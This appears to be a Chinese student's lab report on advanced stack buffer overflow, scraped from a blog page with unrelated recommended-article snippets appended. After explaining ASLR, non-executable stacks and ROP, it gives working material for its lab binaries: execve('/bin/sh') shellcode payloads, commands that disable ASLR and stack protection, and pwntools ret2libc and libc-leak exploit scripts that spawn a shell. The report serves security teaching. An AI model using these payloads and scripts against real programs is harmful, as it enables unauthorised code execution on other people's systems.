20165313-bof进阶
实践基础知识
1、ALSR
1、定义:
ASLR,全称为 Address Space Layout Randomization,地址空间布局随机化,它将进程的某些内存空间地址进行随机化来增大入侵者预测目的地址的难度,从而降低进程被成功入侵的风险。简而言之,就是在运行程序时通过随机化栈地址,从而减低攻击者猜测到关键代码运行地址的可能,降低被攻击的风险。
Linux 平台上 ASLR 分为 0,1,2 三级,用户可以通过一个内核参数 randomize_va_space 进行等级控制。它们对应的效果如下:
0:没有随机化。即关闭 ASLR。
1:保留的随机化。共享库、栈、mmap() 以及 VDSO 将被随机化。
2:完全的随机化。在 1 的基础上,通过 brk() 分配的内存空间也将被随机化。
2、演示:
用一个简单的代码演示一下ALSR对栈地址的影响,代码如下:
#include <stdio.h>
int main()
{
int a = 1;
printf("Address of a is %p, in stack\n", &a);
return 0;
}
编译运行(这里我的Linux系统默认开启了地址随机化);查询和开启地址随机化的命令:
echo "2" > /proc/sys/kernel/randomize_va_space
more /proc/sys/kernel/randomize_va_space
结果入下图:
1、运行结果:
2、地址随机化:
2、堆栈不可执行
1、定义:
通过使被攻击程序的数据段地址空间不可执行,从而使得攻击者不可能执行被植入被攻击程序输入缓冲区的代码,这种技术被称为非执行的缓冲区技术,即堆栈不可执行。实际上,绝大多数合法程序都是设置堆栈数据段不可执行,因为几乎所有合法程序都不会在堆栈中存放代码,这样既保证了安全性,又兼顾了程序使用。(演示放在实践内容中)
3。ROP
1、定义:
1.ROP全称为Retrun-oriented Programmming(面向返回的编程)是一种新型的基于代码复用技术的攻击,攻击者从已有的库或可执行文件中提取指令片段,构建恶意代码。
2.ROP攻击同缓冲区溢出攻击,格式化字符串漏洞攻击不同,是一种全新的攻击方式,它利用代码复用技术。
3.ROP的核心思想:
- 攻击者扫描已有的动态链接库和可执行文件,提取出可以利用的指令片段(gadget),这些指令片段均以ret指令结尾,即用ret指令实现指令片段执行流的衔接。
- 操作系统通过栈来进行函数的调用和返回。函数的调用和返回就是通过压栈和出栈来实现的。每个程序都会维护一个程序运行栈,栈为所有函数共享,每次函数调用,系统会分配一个栈桢给当前被调用函数,用于参数的传递、局部变量的维护、返回地址的填入等。栈帧是程序运行栈的一部分 ,在Linux中 ,通过%esp和 %ebp寄存器维护栈顶指针和栈帧的起始地址 ,%eip是程序计数器寄存器。
- 而ROP攻击则是利用以ret结尾的程序片段 ,操作这些栈相关寄存器,控制程的流程,执行相应的gadget,实施攻击者预设目标 。
4.ROP不同于retum-to-libc攻击之处在于,R0P攻击以ret指令结尾的函数代码片段 ,而不是整个函数本身去完成预定的操作。
- 从广义角度讲 ,return-to-libc攻击是ROP攻的特例。
- 最初ROP攻击实现在x86体系结构下,随后扩展到各种体系结构.。
- 与以往攻击技术不同的是,ROP恶意代码不包含任何指令,将自己的恶意代码隐藏在正常代码中。因而,它可以绕过W⊕X的防御技术。
实践准备
本次试验由于需要用到[ROPgadget](https://github.com/JonathanSalwan/ROPgadget/tree/master)
,所以需要提前安装pip
,capstone
和pwntools
安装命令如下:
sudo apt-get update
sudo apt-get install pip
sudo pip install capstone
pip install ropgadget
ROPgadget
pip install pwntools
安装完成后需重启虚拟机。
实践内容
1、基础攻击——关闭堆栈保护和地址随机化(32位)
1、参考实验一。
2、堆栈不可执行演示(以pwn为例):
过程简述:
1、准备工作:
cp pwn1 5313
execstack -s 5313 //设置堆栈可执行
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
2、测试寻找溢出地址:
构造一个字符串作为测试输入,寻找进程号,gdb调试找到覆盖地址,构造playload,攻击成功:
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
(cat input_shellcode;cat) | ./5313
ps -ef | grep 5313
perl -e 'print "A" x 32;print "\x80\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
(cat input_shellcode;cat) | ./5313
具体过程可参考试验一中的任务三
3、关闭堆栈可执行重复2中的操作(关闭堆栈可执行命令:execstack -c 文件名
):
可以看出堆栈不可执行对于溢出攻击有一定的防范效果。
2、进阶实践——开启堆栈保护
1、原理简述
由上文可看出简单的在原本代码中利用堆栈溢出实施攻击的方法已经不可用了,所以我们利用ROP技术实施攻击。(基础知识里已经简绍了)这里用量组图简单解释一下:
1、核心原理:
攻击用的缓冲区 | 指向的内容 | 说明 |
---|---|---|
ptr3内存地址3(高地址) | system | |
ptr2内存地址2 | /bin/sh | |
ptr1内存地址1(低地址) | pop %rdi;retq | 覆盖堆栈上的返回地址 |
填充内容 | 这部分内容主要是长度要合适,保证ptr1能覆盖到返回地址 |
- 利用这个攻击buf覆盖堆栈
- 当函数返回时,就会跳转到ptr1指向的指令
- pop %rdi时,ESP/RSP指向的就是ptr2,结果就是ptr2被弹出到rdi中。然后ESP/RSP指向ptr3
- 接下来执行retq时,就会跳转到当前ESP指向的内容,即ptr3指向的函数,system。system从RDI中取参数运行/bin/sh获得Shell。
2、具体操作:
说明:
gadget_addr
指向的是程序中可以利用的小片段代码
bin_sh_addr
指向的是字符串参数:'/bin/sh'
system_addr
则指向system函数
1.程序运行到gadget_addr
时(esp/rsp
指向gadget_addr
),接下来会跳转到小片段里执行命令,同时``esp/rsp+8(
esp/rsp指向bin_sh_addr) 2.然后执行
pop rdi/edi,将
bin_sh_addr弹入
edi/rdi寄存器中,同时
esp/rsp + 8(
esp/rsp指向
system_addr) 3.执行
return指令,因为这时
esp/rsp是指向
system_addr的,这时就会调用
system函数,而参数是通过
edi/rdi传递的,也就是会将
/bin/sh传入,从而实现调用
system('/bin/sh')```
2、开启堆栈不可执行关闭地址随机化
32位攻击:
1、开启堆栈不可执行:
execstack -c 5313
2、gdb调试
输入gdb ./5313
之后,开始调试:
- 先将在main处设置断点,然后运行程序
- 输入print system查看system在内存中的位置,如图位置在0xf7e10980处
- 输入print __libc_start_main查看__libc_start_main的位置,同时根据__libc_start_main的位置,找到/bin/sh的位置:0xf7f50aab
3、攻击:
由第二步得到的system和/bin/sh的位置,编写payload并注入
64位攻击:
1、测试代码编译:
#include <stdio.h>
#include <string.h>
void vul(char *msg)
{
char buffer[64];
memcpy(buffer,msg,128);
return;
}
int main()
{
puts("So plz give me your shellcode:");
char buffer[256];
memset(buffer,0,256);
read(0,buffer,256);
vul(buffer);
return 0;
}
使用命令gcc -g -ggdb -fno-stack-protector -no-pie a.c -o a
产生可执行文件。这里解释一下:-fno-stack-protector
在gcc编译中表示栈溢出检测。
2、查看加载的libc
文件及地址:
ldd a
- 得到
libc
版本为:libc.so.6
- libc的加载地址
libc_base = 0x00007f07ecbf2000
- 同时将
libc.so.6
拷贝到a同级目录:cp /lib/x86_64-linux-gnu/libc.so.6 你的目录
3、利用ROPgadget寻找可使用的gadget片段:
ROPgadget --binary a --only "pop|ret"|grep rdi
4、编写攻击代码:
from pwn import *
p = process('./a')
p.recvuntil("shellcode:")
elf = ELF('libc.so.6')
system_in_libc = elf.symbols['system'] #system在libc文件里的偏移地址
#print hex(system_in_libc)
bin_sh_in_libc = next(elf.search('/bin/sh')) #/'bin/sh'字符串在libc里的偏移地址
#print hex(bin_sh_in_libc)
libc_base = 0x00007f07ecbf2000 #libc加载的基址
gadget_addr = 0x000000000040123b #搜索到的gadget片段的地址
system_addr = libc_base + system_in_libc #system在程序里的地址
bin_sh_addr = libc_base + bin_sh_in_libc #/bin/sh在程序里的地址
print hex(system_addr) +'----'+hex(bin_sh_addr)
#布局
buf = 'A'*72
buf += p64(gadget_addr)
buf += p64(bin_sh_addr)
buf += p64(system_addr)
with open('poc','wb') as f :
f.write(buf)
p.sendline(buf) #开始溢出
p.interactive()
运行python b.py
:
可见攻击失败,推测可能是攻击代码有错漏,继续寻找解决方案。
重新开始:
成功获权,上一步未成功原因可能是地址寻找错误。
3、再次进阶——开启堆栈不可执行和地址随机化
1、原理:
1、绕过ASLR(地址随机化),泄露出libc的基址libc_base,然后利用Ret2libc或构造ROP链绕过NX(两者一次完成)
2、首先通过溢出返回至PLT表中,调用具有输出功能的函数(常用puts/write/printf)将GOT表中的真实libc函数地址打印出来,从而分析libc基地址。然后返回至漏洞函数二次触发溢出,此时便采取正常利用思路获得shell。
3、图文简述:
返回地址return_addr被覆盖为puts@plt地址,当运行到原返回地址位置时,会跳转到puts中执行,同时,esp指向esp+4,这时对puts来说,它内部的ret(返回地址)执行时esp指针还是指向esp+4的,也就是esp + 4(main)就是puts函数的返回地址,而esp+8(__libc_start_main@got.plt)则是它的参数。当调用puts时,__lic_start_main作为参数传入,这样我们就可以获得__libc_start_main在程序中的加载地址,当puts返回时会回到main函数当中,从而实现堆漏洞的二次利用。
2、攻击:
1、objdump -R pwn02
查看__lic_start_main
地址(0x0804bfd8 ):
2、objdump -d pwn02
查找puts@plt
(0x08048868)和main
( 0x80496d1)
3、编写代码攻击:
from pwn import *
r = process('./pwn02')
def overflow(data):
r.recvuntil('Your choice: ')
r.sendline('3')
r.recvuntil('):')
r.sendline('+')
r.recvuntil('):')
r.sendline('1 2')
r.recvuntil('input your id')
r.sendline(data)
buf = 'A' * 44
buf += p32(0x08048868)
buf += p32(0x080496d1)
buf += p32(0x0804bfd8)
overflow(buf)
r.recvuntil('...\n')
leak_message = r.recv(4)
print repr(leak_message)
leak_value = u32(leak_message)
print 'leak_value is ' + hex(leak_value)
libc_base =leak_value - 0x000198B0
system_addr = libc_base + 0x0003D7E0
sh_addr = libc_base + 0x0017c968
buf = 'A' * 44
buf += p32(system_addr)
buf += p32(0xdeadbeef)
buf += p32(sh_addr)
overflow(buf)
r.interactive()
攻击失败,重新尝试。
重新搭建环境并实践
这次参考的是:参考资料
漏洞代码:
include <stdio.h>
#include <string.h>
/* Eventhough shell() function isnt invoked directly, its needed here since 'system@PLT' and 'exit@PLT' stub code should be present in executable to successfully exploit it. */
void shell() {
system("/bin/sh");
exit(0);
}
int main(int argc, char* argv[]) {
int i=0;
char buf[256];
strcpy(buf,argv[1]);
printf("%s\n",buf);
return 0;
}
反汇编可见,其本身就有可利用的PLT代码(本身不因ALSR发生变化),因此可直接利用其获权。即直接利用一个在执行前就知道地址的获权函数。
实践感想
本身的水平有限,做出来的结果并不是那么合乎要求。但通过这次实践,我还是收获不少,最重要的是,我逐渐学会了如何独自了解学习自己从来不了解的的知识,这对我的帮助无疑是最大的,继续努力。
20165313-bof进阶的更多相关文章
- 20145311 王亦徐《网络对抗技术》 逆向及BOF进阶实践
20145311<网络对抗技术>逆向及BOF进阶实践 学习目的 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并将堆栈 ...
- 20155213免考项目——bof进阶及简易的HIDAttack
20155213免考项目--bof进阶及简易的HIDAttack 目录 序 任务一:构造Shellcode(64位) 任务二:64位Shellcode的注入 任务三:32位及64位bof攻击(开启堆栈 ...
- 20145216史婧瑶《网络对抗》逆向及Bof进阶实践
20145216史婧瑶<网络对抗>逆向及Bof进阶实践 基础知识 Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并将堆栈的返回地址利用缓冲区溢 ...
- #20145238荆玉茗《网络对抗》-逆向及Bof进阶实践
20145238荆玉茗<网络对抗>-逆向及Bof进阶实践 实践目的:注入shellcode 准备一段shellcode代码 Shellcode实际是一段代码(也可以是填充数据),是用来发送 ...
- 20145217《网络对抗》 逆向及BOF进阶实践学习总结
20145217<网络对抗> 逆向及BOF进阶实践学习总结 实践目的 1.注入shellcode 2.实现Return-to-libc攻击 知识点学习总结 Shellcode实际是一段代码 ...
- 20145222黄亚奇《网络对抗》 逆向及BOF进阶实践学习总结
20145222<网络对抗> 逆向及BOF进阶实践学习总结 实践目的 1.注入shellcode 2.实现Return-to-libc攻击 知识点学习总结 Shellcode实际是一段代码 ...
- 《网络对抗》 逆向及Bof进阶实践
<网络对抗> 逆向及Bof进阶实践 实践目标 注入一个自己制作的shellcode并运行这段shellcode: 实践步骤 准备工作 root@5224:~# apt-get instal ...
- 20145308 《网络对抗》 注入shellcode+Return-to-libc攻击 学习总结
20145308 <网络对抗> 逆向及BOF进阶实践 注入shellcode+Return-to-libc攻击 学习总结 实践目的 注入shellcode 实现Return-to-libc ...
- 20155213免考项目——简易的HIDAttack
20155213免考项目--简易的HIDAttack 听5214说他做不出来自己的免考项目,于是就转向bof进阶,并且成功做出了64位的ROP攻击...... 既然如此,那我就再做一个吧,但都已经期末 ...
- 逆向与Bof基础
一逆向及Bof基础实践说明 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串. 该程序同时包含 ...
随机推荐
- 图解微信小程序---实现页面的跳转与返回操作
图解微信小程序---实现页面的跳转与返回操作 代码笔记 操作步骤 第一步:在app.json配置文件中,创建跳转页面 第二步:编写首页跳转(注意跳转方式,和设置点击样式类名) 第三步:编写首页样式 第 ...
- [转] Performance_js中计算网站性能监控利器
1.Performance方法 Performance提供的方法可以灵活使用,获取到页面加载等标记的耗时情况. performance.now() //返回当前到页面打开时刻的耗时,精确到千分之一毫秒 ...
- WPF 精修篇 属性动画
原文:WPF 精修篇 属性动画 属性动画 是通过 Storyboard 来改变属性值 <Rectangle x:Name="rect" Width="200&quo ...
- Message "'OFFSET' 附近有语法错误。\r\n在 FETCH 语句中选项 NEXT 的用法无效。" 解决办法 EntityFrameworkCore
由于新版的EntityFrameworkCore默认使用的是SqlServer2012或以上版本的Sql语法分页,来提高性能. 所以使用数据库的版本如果低于2012(如Sqlserver2008)需要 ...
- 【spring】spring retry介绍
一.为什么需要重试? 我们知道只要是网络请求都有失败的情况,这个时候增加retry机制是必要的.而spring全家桶中就有这么一套机制. 二.spring retry spring系列的spring ...
- javascript中常用函数
1.js 获取文件后缀名 <script type="text/javascript"> var filename="www/data/index.php&q ...
- 路由拨号上网过Drcom
学校校园宽带是Drcom认证的 ,一人一号一设备.用着难受就决定想破解. 开始想着用软路由,但是感觉对电脑不友好,所以就决定买个路由器来搞. 一丶环境说明 学校使用的是Drcom 6.0 P版客户端. ...
- Using hints for Postgresql
本文转自:http://pghintplan.osdn.jp/pg_hint_plan.html pg_hint_plan 1.1 pg_hint_plan Name Synopsis Descrip ...
- php dirname 的简单使用
dirname dirname-返回路径中的目录部分 说明 dirname(string$path) :string 给出一个包含有指向一个文件的全路径的字符串,本函数返回去掉文件名后的目录名. 参数 ...
- XGBoost使用教程(与sklearn一起使用)二
一.导入必要的工具包# 运行 xgboost安装包中的示例程序from xgboost import XGBClassifier # 加载LibSVM格式数据模块from sklearn.datase ...